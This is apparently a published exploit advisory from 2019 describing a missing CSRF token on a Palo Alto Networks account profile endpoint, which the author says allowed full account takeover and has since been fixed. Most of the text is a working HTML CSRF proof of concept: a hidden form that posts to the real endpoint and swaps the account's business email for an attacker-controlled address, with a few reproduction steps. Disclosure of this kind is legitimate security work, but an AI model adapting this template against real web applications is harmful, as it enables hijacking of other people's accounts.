** Note : this vulnerability is already fixed by paloalto security team
# Exploit Title: Missing CSRF Token Leads to account full takeover (All
accounts can be hijacked)
# Google Dork: [N/A]
# Date: [JUl 23 2019]
# Exploit Author: Pankaj Kumar Thakur (Nepal) @Nep_1337_1998
# Vendor Homepage:https://www.paloaltonetworks.com
# Software Link: N/A
# Version: [8.0]
# Tested on: [Parrot OS]
# CVE : [N/A]
# Acknowledgement:
https://www.paloaltonetworks.com/security-researcher-acknowledgement
summary
----------
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to
execute unwanted actions on a web application in which they're currently
authenticated. CSRF attacks specifically target state-changing requests,
not theft of data, since the attacker has no way to see the response to the
forged request.
Steps to generate
----------------------
>> Initially account should be authenticated
>> for testing purpose i changed email address ..and account was fully
takeover
if html files not works then follow this steps
>> go to profile setting
>> change your profile details
>> then intercept that request
>> then generate csrf poc and then try in browser..boom! account
cresdentials will be changed .
PoC
---
<html>
<!-- CSRF PoC -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="
https://paloaltonetworks.us.janraincapture.com/widget/profile.jsonp"
method="POST">
<input type="hidden" name="utf8" value="รขœ“" />
<input type="hidden" name="access_token" value="m5xw97v7uy63yqw7"
/>
<input type="hidden" name="capture_screen" value="editProfile" />
<input type="hidden" name="js_version" value="d445bf4" />
<input type="hidden" name="capture_transactionId"
value="e3x68i8s4lth5131z1az1zv8nvj4s4laygi5o3m0" />
<input type="hidden" name="form" value="editProfileForm" />
<input type="hidden" name="flow" value="customstandardflow" />
<input type="hidden" name="client_id"
value="tcdjg4vtnnbm88w8g72x2ajxvxnb4rmm" />
<input type="hidden" name="redirect_uri"
value="http://localhost/" />
<input type="hidden" name="response_type" value="token" />
<input type="hidden" name="flow_version"
value="20190502085125375950" />
<input type="hidden" name="settings_version" value="" />
<input type="hidden" name="locale" value="en-US" />
<input type="hidden" name="recaptchaVersion" value="2" />
<input type="hidden" name="Salutation" value="" />
<input type="hidden" name="First_Name__c"
value="EMAIL_HIJACKED" />
<input type="hidden" name="Middle_Name__c" value="" />
<input type="hidden" name="Last_Name__c" value="test" />
<input type="hidden" name="suffix" value="" />
<input type="hidden" name="Email_Display_Name"
value="hpankajjj" />
<input type="hidden" name="Business_Email"
value="pankajTESTHIJACKED@yopmail.com" />
<input type="hidden" name="Personal_Email" value="" />
<input type="hidden" name="Business_Phone" value="9999999999" />
<input type="hidden" name="MobilePhone" value="" />
<input type="hidden" name="Company" value="AbeBooks" />
<input type="hidden" name="Title" value="" />
<input type="hidden" name="Job_Role__c"
value="Administrator" />
<input type="hidden" name="Job_Level__c" value="" />
<input type="hidden" name="Address1" value="" />
<input type="hidden" name="Address2" value="" />
<input type="hidden" name="City" value="" />
<input type="hidden" name="Zip_or_Postal_Code" value="" />
<input type="hidden" name="Country" value="India" />
<input type="hidden" name="Alt_State_Province__c"
value="" />
<input type="hidden" name="province" value="" />
<input type="hidden" name="Preferred_Communication" value="" />
<input type="hidden" name="language__c" value="en_US" />
<input type="hidden" name="location__c" value="India" />
<input type="hidden" name="BreachPrevention_hidden" value="" />
<input type="hidden" name="BYOD_hidden" value="" />
<input type="hidden" name="CloudSecurity_hidden" value="" />
<input type="hidden" name="Cybersecurity_hidden" value="" />
<input type="hidden" name="DataCenterVirtualization_hidden"
value="" />
<input type="hidden" name="EndpointSecurity_hidden" value="" />
<input type="hidden" name="Firewalls_hidden" value="" />
<input type="hidden" name="Mobility_hidden" value="" />
<input type="hidden" name="NetworkSecurity_hidden" value="" />
<input type="hidden" name="NetworkPerimeter_hidden" value="" />
<input type="hidden" name="NextGenerationFirewall_hidden"
value="" />
<input type="hidden" name="SaaSSecurity_hidden" value="" />
<input type="hidden" name="ThreatPrevention_hidden" value="" />
<input type="hidden"
name="subscribeToNewsAndProductUpdates_hidden" value="" />
<input type="hidden" name="subscribeToEventsAndWebinars_hidden"
value="" />
<input type="hidden"
name="subscribeToUnit42ThreatResearch_hidden" value="" />
<input type="hidden" name="tab1complete__c" value="true" />
<input type="hidden" name="tab2complete__c" value="false" />
<input type="hidden" name="tab3complete__c" value="false" />
<input type="hidden" name="tab4complete__c" value="false" />
<input type="hidden" name="tab5complete__c" value="false" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
THANK YOU
PANKAJ KUMAR THAKUR
INDP.Security Researcher | Certified Ethical Hacker | Red Team at SYNACK
Inc | OSCP
